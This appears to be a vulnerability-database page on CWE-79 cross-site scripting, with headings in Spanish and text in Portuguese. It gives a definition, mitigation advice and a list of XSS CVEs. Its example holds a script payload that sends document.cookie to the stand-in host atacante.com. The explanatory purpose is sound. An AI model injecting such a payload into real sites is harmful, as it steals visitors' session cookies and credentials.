Fallos del tipo CWE-79

29.654 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2023-5987MEDIUM A CWE-79 Improper Neutralization of Input During Web Page Generation (Cross-site Scripting) vulnerability that could cause a vulnerability EPSS 0.4%CVE-2024-23171MEDIUMAn issue was discovered in the CampaignEvents extension in MediaWiki before 1.35.14, 1.36.x through 1.39.x before 1.39.6, and 1.40.x before EPSS 0.4%CVE-2025-32185MEDIUMWordPress Colibri Page Builder plugin <= 1.0.329 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2023-24811HIGHCross site scripting (XSS) vulnerability using url preview in MisskeyEPSS 0.4%CVE-2024-54936MEDIUMA Stored Cross-Site Scripting (XSS) vulnerability was found in /send_message.php of Kashipara E-learning Management System v1.0. This vulnerEPSS 0.4%CVE-2020-24857MEDIUMCross Site Scripting vulnerabilty found in IXPManager v.5.6.0 allows attackers to excute arbitrary code via the looking glass component.EPSS 0.4%CVE-2024-52993MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2024-52859MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2024-12842MEDIUMEmlog Pro user.php cross site scriptingEPSS 0.4%CVE-2024-52865MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2024-11438MEDIUMStreamWeasels Online Status Bar <= 2.1.9 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.4%CVE-2023-31144MEDIUMCraft CMS vulnerable to cross site scripting in RSS feed widgetEPSS 0.4%CVE-2024-11684MEDIUMKudos Donations – Easy donations and payments with Mollie <= 3.2.9 - Reflected Cross-Site ScriptingEPSS 0.4%CVE-2024-52992MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2022-46843HIGHWordPress Woocommerce Vietnam Checkout Plugin <= 2.0.4 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2023-28994HIGHWordPress Flatsome Theme <= 3.16.8 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2024-52991MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2024-53960MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2025-7182MEDIUMitsourcecode Student Transcript Processing System edit.php cross site scriptingEPSS 0.4%CVE-2026-27257MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%